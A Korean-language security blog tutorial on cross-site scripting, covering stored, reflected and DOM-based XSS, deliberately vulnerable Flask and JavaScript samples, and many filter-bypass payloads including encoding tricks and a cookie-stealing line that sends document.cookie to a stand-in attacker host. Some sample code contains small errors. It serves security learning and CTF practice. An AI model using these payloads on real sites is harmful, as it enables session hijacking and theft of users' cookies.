Web-Hacking/Client-Side-Vulnerability

[WEB] XSS 취약점 소개와 방어기법의 다양한 우회 방법 정리

반응형
SMALL

XSS Injection (Cross Site Scripting Injection) 란?

XSS Injection 정의 및 중요성

웹 해킹 취약점중에서 가장 먼저 배우는 취약점이자 가장 중요한 취약점 중 하나입니다.

XSS 취약점은 교차 사이트 스크립팅 주입 취약점의 약자입니다.

즉, 사이트에 악의적인 스크립트 문법을 주입해 공격하고 쿠키를 탈취하는 취약점입니다.

OWASP TOP10 취약점 순위에 따르면 Injection 관련 취약점이 가장 발생율이 높습니다.

Injection 취약점이란 번역하면 주입형 취약점이라고도 불리는데, SQL, html, template 등에 특정 공격 코드를 주입하여 의도하지 않은 행위를 발생시키는 취약점입니다.

그 중 XSS 취약점은 html에 특정 script (javascript 문법) 코드를 주입하여 쿠키 / 세션을 탈취하는 기법입니다.

💡 Cross Site Scripting 취약점이 CSS가 아닌 XSS 취약점으로 불리는 이유 : 원래 약자대로라면 CSS라고 불리는 것이 옳은 표기법이지만 스타일시트 문법인 CSS 언어와 중복으로, XSS로 명명되었습니다.

OWASP TOP10 중, 1순위로 꼽히는 취약점중 하나임으로 웹 해킹에서 가장 많이 발생하기도 하고 가장 처음 배우는 취약점인 만큼 깊고 확실하게 이해하고 알아야 할 필요가 있습니다.

💡 OWASP TOP10 : OWASP는 가장 큰 오픈소스 웹 애플리케이션 보안 프로젝트로 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 애플리케이션의 취약점(OWASP TOP 10)을 발표합니다.

예전 사이트에서는 위와 같은 XSS 취약점이 아주 빈번하고 자주 발생하였었지만, 최근에는 여러 방어 기법이 개발되어서 최근에 등장하는 사이트에서는 XSS 취약점이 거의 발생하지 않습니다.

하지만 이를 우회하는 기술이 계속해서 등장하고 있으므로 꾸준히 공부하고 우회 기법을 알아놔야 합니다.

XSS Injection 발생 예시 및 종류

XSS Injection의 발생 형태에 따라서 다양한 종류로 구별되는데 종류는 크게 4가지가 존재합니다.

아래는 XSS 취약점의 4가지의 종류를 표로 나열한 것 입니다.

종류설명

Stored XSS 악성 스크립트가 서버에 저장 되고 HTTP 응답에 악성 스크립트가 함께 담겨오는 XSS
Reflected XSS 악성 스크립트가 URL에 삽입되고 HTTP 응답에 악성 크르비트가 함께 담겨오는 XSS
DOM-based XSS 악성 스크립트가 URL Fragment에 삽입되는 XSS
Universal XSS 브라우저 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

위와 같이 XSS의 종류는 크게 4가지로 구분되고, 그중 Stored XSS, Reflected XSS는 CTF, 리얼월드에서 가장 많이 발생하는 XSS 취약점입니다.

XSS의 종류별 발생 방식은 밑에서 정리하겠습니다, 이번에는 간단하게 XSS 발생원리부터 확인해보겠습니다.

XSS 취약점은 html의 <script> 태그로 인하여 발생합니다.

<script> 태그 내에는 Javascript 문법을 정의하는 코드를 주입할 수 있는데, 클라이언트에서 Javascirpt 언어는 이벤트, 함수 정의, 클래스, API 연동, 서버 통신과 같은 아주 중요한 처리를 담당합니다.

즉, 이와 같은 Javascript 문법은 다양한 동작들을 정의하고 발생시킬 수 있기 때문에 XSS 취약점에서 아주 유용하게 사용됩니다.

아래는 XSS 취약점이 발생하는 python flask 서버 코드입니다.

# app.py

import flask

app = flask.Flask(__name__)

@app.route("/")
def index():
	getScript = flask.request.args.get('get', '')
	return getScript

app.run(host='0.0.0.0', port=8000)

위 서버 코드는 XSS 취약점이 발생하는 코드입니다.

URL의 get 파라미터에서 값을 받아오고 아무런 검사를 하지 않고 이를 HTTP 응답으로 반환합니다.

즉, 값의 검사없이 get 파라미터의 값을 HTTP 응답으로 사용함으로 XSS 취약점이 발생합니다.

만약 일반적인 경우로 get 파라미터에 “hello”, “hello world”와 같은 값을 넣으면 아무런 문제가 발생하지 않습니다.

하지만 “<script>alert(1)</script>”, “<script>alert(document.cookie)</script>”와 같은 html 태그를 주입하면 해당 값이 아무런 필터링 없이 응답으로 반환되어 Javascirpt 문법이 실행됩니다. 자세한 예시를 통해 XSS 취약점이 발생하는 이유를 알아보겠습니다, get 파라미터에 “hello”라는 값을 넣게 되면 아래와 같이 http 응답이 구성됩니다.

HTTP/1.1 200 OK
Date: SECRET
Server: SECRET
Last-Modified: SECRET
Content-Length: 88
Content-Type: text/html
Connection: Closed

<html>
<body>
hello
</body>
</html>

Date, Server, Last-Modified header는 SECRET로 처리하였습니다.

위와 같이 HTTP 응답으로 구성되어서 돌아올때 hello라는 값은 일반적인 문자열, 어떠한 html 태그도 아니므로 문제가 발생하지 않습니다.

하지만 “<script>alert(1)</script>”과 같은 값을 주입하면 아래와 같은 응답으로 구성됩니다.

HTTP/1.1 200 OK
Date: SECRET
Server: SECRET
Last-Modified: SECRET
Content-Length: 88
Content-Type: text/html
Connection: Closed

<html>
<body>
<script>alert(1)</script>
</body>
</html>

“<script>alert(1)</script>” 값이 html 태그의 일부로 인식되어서 <script> 태그의 문법이 실행됩니다.

XSS 취약점 관련된 워게임 문제나 CTF 문제를 접해보신 분들은 document.cookie 라는 파라미터를 많이 보셨을 확률이 높습니다.

document.cookie 파라미터는 클라이언트에 현재 저장되어 있는 모든 쿠키를 불러오는 Javascript 코드입니다.

XSS 공격의 핵심은 클라이언트의 쿠키정보를 탈취하는 것이 목표입니다.

쿠키 정보를 획득하면 클라이언트의 자세한 정보와 다른 사이트에 로그인 계정 정보를 읽을수도 있습니다.

이와 같은 이유로, 해커는 XSS 취약점을 이용해 쿠키정보를 획득하는 것이 최종적인 목표라고 할 수 있습니다.

XSS 종류

Stored XSS

Stored XSS는 표 설명에서 나와있듯이 악성 스크립트가 서버에 저장되고 HTTP 응답에서 악성 스크립트가 함께 담겨오는 XSS 입니다.

이런 형태의 XSS 공격은 게시판의 개시물, 제목, 댓글과 같은 곳에서 상당히 많이 발생합니다.

게시판 같은 사이트에서 Stored XSS가 발생하게 되면 XSS 파급력이 더욱 커집니다.

개시물 또는 댓글과 같은 곳에서 XSS가 발생하면 많은 유저가 방문하는 게시판 사이트의 특정상 악성 스크립트가 계속해서 실행되고 XSS가 발생하는 개시글을 방문하는 유저의 쿠키 정보를 탈취할 수도 있기 때문입니다.

간단한 게시판에 XSS 발생하면 벌어지는 시나리오를 생각해보겠습니다.

  1. 해커가 게시글에 악성 스크립트 작성 후 업로드 ← Stored XSS
  2. 유저가 해당 게시글에 들어가면서 악성 스크립트 자동 실행
  3. 유저들의 쿠키 정보가 해커 서버로 전송

위와 같은 시나리오에서는 1번 부분이 Stored XSS 발생하는 부분입니다.

즉, Stored XSS는 악성 스크립트를 데이터베이스, 웹 서버 내에 저장시켜놓고 해당 페이지를 접속할때 마다 계속해서 악성 스크립트가 실행되는 취약점입니다.

이와 같은 XSS 취약점이 발생하게 되면 피해자가 한명이 아닌 엄청나게 많은 사람들이 될 수 있습니다.

웹 서버내에 악성 스크립트가 삽입된 이상, 데이터베이스를 조작하거나, 서버 코드를 패치하지 않는 이상 악성 스크립트가 사라지지 않고 유지되기 때문에 굉장히 위험한 취약점입니다.

Stored XSS 발생 시나리오는 아래와 같습니다.

  1. 게시판과 같은 데이터를 저장하는 공간에 악성 스크립트를 입력합니다.
  2. 아무런 검증없이 데이터베이스 또는 웹 서버에 악성 스크립트를 저장합니다.
  3. 클라이언트가 나중에 악성 스크립트가 담긴 게시글을 클릭합니다.
  4. 게시글의 HTML 문서를 HTTP 응답에 담습니다. (악성 스크립트가 포함됨)
  5. 사용자 브라우저는 HTML 문서를 읽습니다.
  6. 게시글에 저장되어 있었던 악성 스크립트가 실행됩니다.

Reflected XSS

Reflected XSS는 악성 스크립트가 URL에 저장되고 HTTP 응답에서 악성 스크립트가 함께 담겨오는 XSS 입니다.

위 <XSS Injection 발생 예시 및 종류> 파트에서 발생 예시를 설명할때 사용된 방법이 Reflected XSS입니다.

XSS 관련된 워게임, CTF 문제가 출제될때 Reflected XSS 관련 문제가 거의 대부분 출제됩니다.

URL에 악성 스크립트가 함께 삽입됨으로 해당 악성 스크립트가 실행되기 위해서는 Reflected XSS가 포함된 URL을 클릭해야합니다.

Reflected XSS 발생 시나리오는 아래와 같습니다.

  1. URL과 함께 악성 스크립트가 웹 서버에 전달됩니다.
  2. 웹 서버는 URL에 담긴 악성 스크립트를 읽습니다.
  3. HTTP 응답 중 HTML 문서에 악성 스크립트를 아무런 검증없이 입력합니다.
  4. 사용자의 브라우저가 해당 HTML 문서를 읽습니다.
  5. 악성 스크립트가 실행됩니다.

아래는 Reflected XSS 발생 예시입니다.

1. <http://127.0.0.1/blog/search?page=1&category=hacking> <- O

2. <http://127.0.0.1/blog/search?page=1&category=><script>alert(docuemnt.cookie)</script> <- X

위 예시 URL에서 category 파라미터에 XSS 취약점이 발생한다고 가정해보겠습니다.

1번 URL같은 경우는 클릭해도 아무런 이상이 없고 문제가 발생하지 않습니다.

하지만 2번 URL같은 경우는 category 파라미터에 악성 스크립트가 삽입되었으므로 클릭하는 순간 악성 스크립트가 실행되어 alert 함수가 호출됩니다.

이와 같이 URL안에 악성 스크립트를 담고 이를 클릭하게 유도하여 유저의 쿠키정보 등을 탈취하는 XSS를 Relected XSS라고 합니다.

보통 CTF 문제에서 봇이 어떠한 링크를 방문하게 하는 문제가 존재하는데, 이와 같은 문제는 거의 대부분 Reflected XSS 관련 문제입니다.

DOM-based XSS

DOM 기반 XSS는 보안에 취약한 Javascript 코드로 DOM 객체를 제어하는 과정에서 발생하는 취약점입니다.

위의 표 설명에서 나와있었듯이 URL의 Fragment에 XSS를 삽입합니다.

💡 URL Fragment : URL에서 “#”에 해당하며, “#” 뒤에 오는 값은은 웹 서버로 전송되지 않습니다, javascript에서 해당 URL Fragment 값을 읽을 수 있습니다.

http://127.0.0.1/blog/search?page=1&content=hacking#first ← first라는 값은 웹 서버로 전송되지 않습니다.

일반적으로 XSS 취약점을 패치할때, 웹 서버만 XSS 필터링 함수를 추가하는데, 만약 해당 사이트가 URL Fragment로도 무언가를 제어하는 과정이 존재하고, 클라이언트에서는 XSS에 대한 아무런 필터링이 존재하지 않는다면 DOM-based XSS가 발생합니다.

Stored / Reflected XSS와는 별개로 웹 서버로 요청이 전송되지 않는다는 특징이 존재합니다.

DOM-based XSS 발생 시나리오는 아래와 같습니다.

  1. 악성 스크립트가 담긴 URL을 클릭합니다.
  2. 사용자의 브라우저가 해당 HTML 문서를 읽습니다.
  3. HTML 문서를 읽는 중에 URL Fragment에 담긴 악성 스크립트 문자열을 추출합니다.
  4. 악성 스크립트를 실행시킬 수 있는 javascript 코드를 만나 악성 스크립트가 실행됩니다.

아래는 DOM-based XSS가 발생하는 javascript 코드입니다.

const hash = window.location.hash.slice(1);
const text = document.getElementById("div-tag");

if (hash) {
	text.innerHTML = hash;
}

위와 같은 javascript 코드가 돌아가고 있다면, 아래와 같은 공격이 가능해집니다.

1. <http://127.0.0.1/blog/search?page=1&category=hacking> <- O

2. <http://127.0.0.1/blog/search?page=1&category=hacking#><script>alert(docuemnt.cookie)</script> <- X

1, 2번 URL 모두 웹 서버에서는 “http://127.0.0.1/blog/search?page=1&category=hacking”로 인식됩니다.

하지만 2번 URL 같은 경우 URL Fragment로 악성 스크립트를 삽입하였습니다.

즉, 클라이언트(javascript)에서 해당 악성 스크립트가 실행됩니다.

// URL :  <http://127.0.0.1/blog/search?page=1&category=hacking#><script>alert(docuemnt.cookie)</script>

const hash = window.location.hash.slice(1); // <script>alert(docuemnt.cookie)</script>
const text = document.getElementById("div-tag");

if (hash) {
	text.innerHTML = hash; // <- <script>alert(docuemnt.cookie)</script>
	/*
	<html>
		<body>
			<div id="div-tag">
				<script>alert(docuemnt.cookie)</script> <- XSS Injected!
			</div>
		</body>
	</html>
	*/
}

이와 같이 URL Fragment 부분에 악성 스크립트를 삽입하여 웹 서버의 XSS 필터링을 우회하는 XSS를 DOM-based XSS라고 합니다.

Universal XSS

지금까지 XSS 공부해오면서 Stored, reflected, DOM-based XSS만 존재하는 줄 알고 있었는데,

Universal XSS라는 새로운 XSS 취약점도 알게 되었습니다.

Universal XSS는 서비스와 괸계 없이 불특정한 사이트에서 발생 가능한 XSS를 뜻합니다.

웹보다는 앱, 모바일, 등에서 발생하며, SOP를 우회하고 웹 사이트에 도메인과 관계없이 정보를 탈취하는 XSS 입니다.

아직 확실하게 정리되고 공부된 것이 아니므로 추후에 확실히 정리되면 따로 정리해서 올리도록 하겠습니다.

XSS Filtering & Bypass

XSS Filtering 이란?

필터링이란 특정 문자 또는 특수 문자 등을 지정해놓고 입력값에서 지정한 문자가 있으면 자체적으로 접근을 막아서 정상적인 값과 정상적이지 않은 값을 걸러내는 방법입니다.

웹 해킹에서 필터링은 여러 Injection 공격들을 방어하기 위한 방법이며 하나의 보호기법입니다.

필터링이 기반이 된 다른 웹에서의 취약점을 방지하기 위해 생겨난 WAF(Web Application Fireware)란 방화벽도 존재합니다.

필터링도 크게 2가지 부류가 존재하는데 화이트리스트 필터링과, 블랙리스트 필터링이 존재합니다.

화이트리스트 필터링 (Write-list Filtering)

화이트리스트 필터링이란 ‘안전’이라는 것이 증명된 것만 허용하는 필터링 방식으로, 블랙리스트 필터링과는 상반된 개념의 필터링입니다.

즉, 신뢰할 수 있는 값만 필터링 목록에 지정해놓으면 입력값에 필터링에 지정된 값이 존재하지 않는다면 모두 차단하는 방법입니다.

아래는 화이트 필터링의 예시입니다.

import flask

app = flask.Flask(__name__)

def writeListFilter(input):
	filter_list = ["0.0.0.0", "127.0.0.1", "192.1.2.3.4", "1.1.1.1"]
	for fitler in filter_list:
		if filter in input:
			return True
		else:
			return False

@app.route("/")
def index():
	input_data = flask.request.args.get("ip", "")
	isFilter = writeListFilter(input_data)
	if isFilter:
		return "pass"
	else:
		return "fail"

app.run(host="0.0.0.0", port=8000)

위와 같은 화이트 필터링 방식을 사용하게 될 경우 허용된 즉, ‘안전’이 보장된 값만 허용하는 방식이기 때문에 XSS와 같은 취약점을 필터링 하기 위해서는 화이트리스트 필터링보다 블랙리스트 필터링이 더 간편합니다.

화이트리스트 필터링으로 XSS 취약점으로부터 보호하려면 너무 많은 값들을 필터링 목록에 추가하여야 하기 때문에 번거롭습니다.

즉, 화이트리스트 필터링을 사용하기 좋은 예시는 특정 IP를 허용하는 서비스나, 어떠한 값만 허용하고 다른 값들은 모두 차단해야할때와 같은 서비스에서 사용하기 적합합니다.

블랙리스트 필터링 (Black-list Filtering)

앞서 소개하였듯이 화이트리스트 필터링과는 상반된 개념입니다.

블랙리스트 필터링은 ‘안전’이 아닌 ‘위험’이 되는 것만 차단하는 필터링 방식입니다.

아래는 블랙리스트 필터링이 적용된 코드입니다.

import flask

app = flask.Flask(__name__)

def blackListFilter(input):
	filter_list = ["<", ">", "script", "/"]
	for fitler in filter_list:
		if filter in input:
			return True
		else:
			return False

@app.route("/")
def index():
	input_data = flask.request.args.get("data", "")
	isFilter = blackListFilter(input_data)
	if isFilter:
		return "fail"
	else:
		return "pass"

app.run(host="0.0.0.0", port=8000)

위와 같은 블랙리스트 필터링 방식을 사용하게 되면 필터링 할 범위가 화이트리스트 필터링에 비해 상대적으로 적습니다.

즉, 블랙리스트 필터링 방식을 사용하면 취약점이 발생 할 수 있는 특정 문자만 필터링 하여 차단하기 때문에 훨씬 더 구현하기 간편합니다.

하지만 블랙리스트 필터링은 앞서 설명하였듯이 취약점이 발생하는, 특정 문자만 필터링 하는 방식이므로 이 특정 문자 외에 다른 문자로 취약점이 발생한다면 필터링이 결국 무효화됩니다.

지금 보안 취약점들은 몇 달/몇 년이 지나면서 새로운 우회기법이 끊임없이 발전되고 있습니다.

그렇기 때문에 실제로는 ‘안전’이 검증된 값만 허용하는 필터링 방식이 취약점을 방지하기 가장 좋은 방식이지만 엄청 나게 많은 허용되는 값들을 필터링 목록에 추가하면 값을 검증하는 시간이 엄청나게 오래 걸릴 것 입니다.

이와 같은 이유로 대부분 서비스, XSS 취약점을 방어하기 위해서는 블랙리스트 필터링 방식을 사용하고, 특정 IP 등만 허용하는 작업같은 경우 허용된 값만 승인하는 화이트리스트 필터링 방식을 사용하고 있습니다.

이번에 설명하는 필터링은 모두 XSS 필터링 기술임으로 대부분 블랙리스트 필터링이 적용되어 있으므로, 이를 우회하는 방법도 같이 정리해보겠습니다.

1. 특정 문자(값) 필터링

XSS 취약점은 악성 스크립트를 삽입하는 것이 목적입니다.

일반적으로 악성 스크립트를 삽입할때 사용하는 특정 문자가 있습니다.

1. <img src="asd" onerrror="alert(1)">
2. <script>alert(1)</script>

위와 같이 악성 스크립트를 삽입할때 평균적으로 삽입되는 문자는 “script”, “on~” 입니다.

“on~” 문자는 이벤트리스너인데 “~가 발생할때”를 뜻합니다, 즉, 위에서의 onerror는 에러가 발생했을때 발생하는 이벤트입니다.

이러한 이벤트가 발생할때 어떠한 행동을 정의할 수 있는데 행동을 정의할때 javascript 문법의 코드를 사용하기 때문에 XSS 공격에서도 악용될 수 있습니다.

이와 같이 악성 스크립트가 삽입될 수 있는 문자(값)를 사전에 지정하고 필터링 하는 방법이기 때문에 블랙리스트 필터링이라고 할 수 있습니다.

즉, 1번 필터링 방법은 블랙리스트 필터링의 대표적인 예시입니다.

아래는 XSS 취약점의 특정 문자(값) 필터링을 진행하는 함수입니다.

function filtering(input) {
	if (input.includes("on") || input.includes("script")) {
		return "XSS Found";
	} else {
		return "XSS Not Found";
	}
}

// input : '<img src="asd" onerrror="alert(1)">' -> "XSS Found"
// input : '<script>alert(1)</script>' -> "XSS Found"

하지만 이와 같은 필터링은 쉽게 우회할 수 있는 방법이 존재합니다.

위의 필터링 함수에서 입력값에 “on”, “script” 라는 문자가 들어가는지 확인을 하면서 필터링을 진행하지만 input 값이 항상 소문자로 들어온다는 보장은 없습니다.

html 에서는 대소문자 구분을 하지 않습니다, 즉, 위에서는 소문자 “on”, “script” 문자만 비교하기에 input 값에 “On”, “ScRiPT” 식으로 문자가 입력된다면 필터링을 통과할 수 있게 됩니다.

아래는 특정 문자(값) 필터링의 우회 예시 페이로드입니다.

1. input : <img src="asd" oNerrror="alert(1)"> -> XSS Not Found
2. input : <ScRiPT>alert(1)</SCriPt> -> XSS Not Found

즉, 입력값의 대소문자를 통일(구분)하지 않고 필터링을 진행하고 있다면, 위와 같이 필터링을 우회할 수 있습니다.

2. 문자열 치환

WAF(Web Appliaction Firewall) 에서 사용되는 필터링 기법입니다.

💡 WAF란? : 웹 방화벽(Web Application Firewall) 은 웹 어플리케이션 보안에 특화되어있는 방화벽입니다, SQL injection, XSS injection 등 다양한 웹 취약점을 사전에 탐지하고 차단합니다. 그 외에도 정보유출방지솔루션, 부정로그인방지솔루션, 웹사이트위변조방지솔루션 등으로 활용이 가능합니다.

특정 XSS Injection 공격에 사용되는 문자를 입력값에서 감지하면 해당 문자를 공백처리하여 차단합니다.

아래는 문자열 치환 필터링의 예시 코드입니다.

function filtering(input) {
	const filterChar = input.replace(/script/g, '');
	return filterChar;
}

위는 input 값에서 “script”라는 문자가 감지되면 해당 문자가 있는 부분을 공백처리하는 함수입니다.

아래와 같은 입력값을 입력해보면 반환값으로 특정 부분이 공백처리되어 악성 스크립트가 동작하지 않습니다.

input : <script>alert(1)</script> -> <>alert(1)</>

String.replace 함수에서는 필터링으로 지정할 문자를 정규표현식 형식으로 설정할 수 있어서 다양한 방식으로 필터링을 진행 할 수 있습니다.

하지만 이와 같은 문자열 치환 필터링을 진행할 때 특정 문자를 감지하고 이를 “공백”으로 처리할 경우 우회를 진행 할 수 있습니다.

특정 문자를 감지하고 해당 부분을 “공백”으로 처리한다는 것을 생각할때 “scrscriptipt” 이런식으로 입력값을 설정하면 중간에 있는 “script” 문자가 공백으로 처리되고 해당 문자 옆에 있는 문자들이 합쳐지면서 “script” 라는 문자열이 완성됩니다.

1. scrscriptipt
2. scr script ipt
3. scr '' ipt
4. script <- bypass

즉, 아래와 같이 input 값을 입력하면 문자열 치환 필터링을 우회할 수 있습니다.

input : <scrscriptipt>alert(1)</scrscriptipt> -> <script>alert(1)</script>

이와 같은 문자열 치환 필터링 우회방식은 여러 CTF 문제에서도 다양하게 응용되어서 출제되기도하고 WAF 방화벽도 우회가 가능하기 때문에 잘 알아두어야 합니다.

3. 활성 하이퍼링크 필터링

HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠라는 것을 포함할 수 있습니다.

URL에서 “javascript:”, “data:”, “base64:”와 같은 형식이 모두 활성 콘텐츠입니다.

HTML 마크업에서 a, iframe 태그 등에서 주로 사용되고 아래와 같은 형식으로 javascript 코드를 삽입할 수 있습니다.

<a href="javascript:alert(1)">Button</a>
<iframe src="javascript:alert(1)" />

일반적으로는 href, src 등의 속성에 리다이렉트할 URL (또는 요청할 리소스의 URL) 을 삽입하는 것이 일반적이지만 위와 같이 활성 콘텐츠를 사용해서 특정 언어의 코드 또는 문자열의 인코딩 등을 수행할 수 있습니다.

이와 같은 이유로 사용자의 입력값이 a, iframe 태그의 href, src 속성 값으로 들어간다면 “javascript:” 와 같은 활성 콘텐츠 등을 차단하도록 필터링을 진행합니다.

아래는 활성 콘텐츠를 차단하는 필터링 함수입니다.

const inputExample = "<a href='javascript:alert(1)'></a>";

function filtering(input) {
	const lowerInput = input.toLowerCase();
	if (lowerInput.includes("javascript:")) {
		return "XSS Found";
	} else {
		return "XSS Not Found";
	}
}

console.log(filtering(inputExample)); // XSS Found

이와 같은 홠성 콘텐츠를 차단하는 필터링을 우회하기 위해서는 “정규화”라는 것을 이용해 필터링을 우회할 수 있습니다.

정규화는 모든 브라우저들이 URL을 사용할 때 꼭 거치는 과정중 일부입니다.

또한 정규화란 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 작업입니다.

이 과정에서는 “\x01”, “\x00”, “\x304” 등과 같은 특수문자가 제거되며 스키마에 대소문자가 통일됩니다.

즉, “j\x00AV\x305aSCR\x11IPt:” 문자나 “javascirpt:” 문자는 정규화를 통해 모두 동일한 문자로 취급됩니다.

이 정규화가 가능한 이유는 href, src 속성에 사용되는 값은 URL로 인식되기 때문입니다.

아래는 정규화를 이용한 활성 콘텐츠 필터링 우회 예시입니다.

input : J\\x00aV\\x01aScR\\I\\x11Pt:alert(1) -> XSS Not Found

lowerInput : j\\x00av\\x01ascr\\i\\x11pt:alert(1) -> XSS Not Found

result: javascript:alert(1) -> fitlering bypass

위 필터링 함수에서 입력값을 toLowerCase 함수로 모두 소문자로 바꿔도 특수문자는 유지되기때문에 여전히 XSS 취약점을 감지하지 못하고 정규화를 통해 필터링이 우회됩니다.

이와 같은 방법 외에도 HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있습니다.

즉, 이를 이용해 XSS 키워드를 인코딩하여 필터링을 우회할 수도 있습니다.

input : \\1&#4;J&#97;v&#x61;sCr\\tip&tab;&colon;alert(1)

lowerInput : \\1&#4;j&#97;v&#x61;scr\\tip&tab;&colon;alert(1)

result : javascript:alert(1) -> fitlering bypass

이와 같은 정규화, HTML Entity Encoding 방식을 통해 필터링을 우회하는 방법역시 아주 많이 CTF, 워게임에 출제됨으로 잘 알아두어야 합니다.

4. 싱글/더블 쿼터 필터링 우회

위 필터링 방법외에도 XSS 취약점의 문자를 필터링하기 위해서는 아주 다양한 필터링 방법이 존재합니다.

대표적인 방법으로 싱글/더블 쿼터를 필터링하는 경우가 존재합니다.

여기서 싱글/더블 쿼터는 문자열의 ‘, “ 를 의미합니다.

아래부터는 이와 같이 싱글/더블 쿼터가 필터링될때 우회방법을 정리해보겠습니다.

1. backtick(백틱) 사용

- alert(`hello world`)
- `hello world`

javascript에서는 싱글/더블 쿼터외에 ES6에서 새롭게 등장한 백틱(backtick)이라는 것이 존재합니다.

백틱이란 Template literals(탬플릿 리터럴) 에서 사용되기 위해 만들어진 것인데, 싱글/더블쿼터와 거의 동일한 역할을 수행함으로 백틱으로 문자열을 감싸면 문자열과 동일하게 취급되기 때문에 필터링 우회가 가능합니다.

2. 정규표현식 패턴 사용

- /hello world/.source // "hello world"
- /test/ + [] // "test"

3. 아스키코드 사용

- String.fromCharCode(72, 101, 108, 108, 111); // "Hello"

4. 기본 내장 함수 / 오므젝트 문자 사용
// history.toString(); ==> "[object History]" 
// URL.toString(); ==> "function URL() { [native code] }"
// history + [] , history + 0 ==> 연산을 위해 history 오브젝트에서 toString 메서드가 실행됩니다.

- history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

5. Character Escape Sequences 사용
// &#x22 ==> "

- &#x22hello world&#x22 // "hello world"

위와 같이 javascript 에서는 다양한 함수와 문법을 지원하기 때문에 싱글/더블 쿼터 필터링은 상대적으로 쉽게 우회가 가능합니다.

5. 세미콜론 필터링

악성 스크립트 코드를 여러줄로 입력할 수 없고 한줄에 모든 악성 코드를 입력해야한다면, 세미콜론을 사용해야합니다.

Javascript 에서는 세미콜론을 이용해서 코드를 구분하기 때문에 이러한 세미콜론이 필터링된다면 상당히 공격이 어려워질 수 있습니다.

아래는 세미콜론을 이용한 XSS 악성 스크립트 코드 예시입니다.

alert("you hacked");var cookie=document.cookie;console.log(document.cookie);location.href="<http://attecker.com?cookie=>"+cookie;

위와 같은 코드에서 세미 콜론이 필터링 된다면 악성스크립트가 정상적으로 작동하지 않습니다.

이럴때는 세미콜론을 “-”로 대체하여 사용해서 우회가 가능합니다.

아래는 세미콜론 필터링 우회 예시 악성 스크립트 코드입니다.

alert("you hacked")-var cookie=document.cookie-console.log(document.cookie)-location.href="<http://attecker.com?cookie=>"+cookie

6. Dot 필터링

Javascript에서 객체에서 프로퍼티, 메서드를 사용할때 기본적으로 Dot(.)을 사용합니다.

document.cookie, window.message 와 같이 Dot(.)을 사용하는 경우가 많은데 이를 필터링할경우 XSS 공격을 수행하기 번거로워집니다.

아래는 Dot을 필터링할 경우 이를 우회하는 예시 코드입니다.

- document.cookie == document["cookie"]

- window.message == window["message"]

- document.getElementById("test") == document["getElementById"]("test")

위 예시와 같이 Dot 대신 [”method, property name”]과 같은 형식을 사용하게 되면 Dot과 동일한 역할을 수행함으로 우회가 가능합니다.

7. 소괄호 필터링

소괄호를 필터링할 경우 XSS 공격에 상당한 제약이 발생합니다.

아래는 소괄호 필터링의 다양한 우회 예시 코드입니다.

1. backtick(백틱) 사용

- alert`1`
- document.getElementById`test`

2. Javascript scheme 사용 (16진수, 유니코드, 등으로 우회)

- location.href="javascript:alert\\x281\\x29;";
- location.href="javascript:alert\\u00281\\u0029;";
- location.href="javascript:alert\\0501\\051;";

3. HTML Entitry Encoding
// &#40;, &#41; 은 "(", ")"를 의미
// HTML Entitry Encoding은 HTML에서만 인식하기 때문에 HTML 내에 태그를 삽입하여 우회

- document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";

4. instanceof를 사용하여 우회
// (O instanceof C)를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 됩니다. (Dreamhack 웹해킹 강의 중 일부)
// 즉, Symbol.hasInstance 속성에 eval 함수가 존재함으로, eval("alert\\x281\\x29")와 같이 동작하게 됩니다.

- "alert\\x281\\x29"instanceof{[Symbol.hasInstance]:eval};

위와 같이 소괄호가 필터링 되었을때, 우회하는 방법은 매우 다양합니다.

이 중, 백틱, 16진수, 유니코드 등을 사용하여 소괄호를 우회하는 방법은 다른 문제에서도 많이 출제되기 때문에 많이 익혀두어야 합니다.

8. Double Encoding 기법

XSS 공격으로 악성 스크립트(페이로드)를 전송할때, URL Encoding을 수행하여 페이로드를 전송할 수 있습니다.

만약 페이로드에 공백, URL Fregment가 존재한다면 페이로드가 서버로 전송될때 정상적으로 전송이 되지 않을 수 있습니다.

이를 방지하지 위해서 페이로드에 URL Encoding을 적용하여 서버로 페이로드를 전송합니다.

그리고 URL Encoding 을 적용하면 서버로 값이 전송될때 자동으로 Decoding 되어 들어옵니다.

아래는 간단한 XSS 필터링을 수행하는 서버 코드입니다.

request : <http://localhost:8888?xss_payload=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E>

...
@app,route("/")
def index():
	payload = flask.request.args.get("xss_payload", "").lower()
	
	if "<script>" in payload:
		print("access denined, XSS FOUND")
		return "ACCESS DENINED payload : " + payload

	decodeURL = unquote(payload).decode("utf8")	

	newURL = "<http://localhost:1111/admin/search?xss_payload=>" + payload

	return "PASS"
...

response : ACCESS DENINED payload : <script>alert(document.cookie)</script>

위는 XSS 필터링이 적용되어 있는 코드입니다.

payload를 모두 소문자로 변경한 후 “<script>”라는 문자가 있는지 검사합니다, 만약 존재한다면 접근을 거부하고, 해당 문자가 존재하지 않는다면 payload를 URL Decode한 후 관리자 페이지의 검색 파라미터로 쓰입니다. (여기서 관리자 페이지에 xss_payload 파라미터에서 XSS가 존재합니다.)

이와 같이 필터링이 존재하지만 내부 서버에서 디코딩을 한번 더 수행하는 경우 필터링을 우회할 수 있습니다.

우회하는 방법은 간단합니다, XSS 페이로드의 URL Encoding을 이중으로 수행합니다.

request : <http://localhost:8888?xss_payload=%253Cscript%253Ealert(document.cookie)%253C%252Fscript%253E>

payload : %3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

filtering bypass

decodeURL : <script>alert(document.cookie)</script>

newURL : <http://localhost:1111/admin/search?xss_payload=><script>alert(document.cookie)</script>

response : PASS

URL Encoding을 이중으로 수행할경우 웹 서버에서는 페이로드가 한번 URL Encoding 된 상태로 들어오고 “<script>”가 아닌 “%3Cscript%3E” 이기 때문에 필터링이 우회됩니다.

그 후 웹 서버에서 payload를 한번 더 디코딩함으로 원본 페이로드인 “<script>alert(document.cookie)</script>”가 완성됩니다.

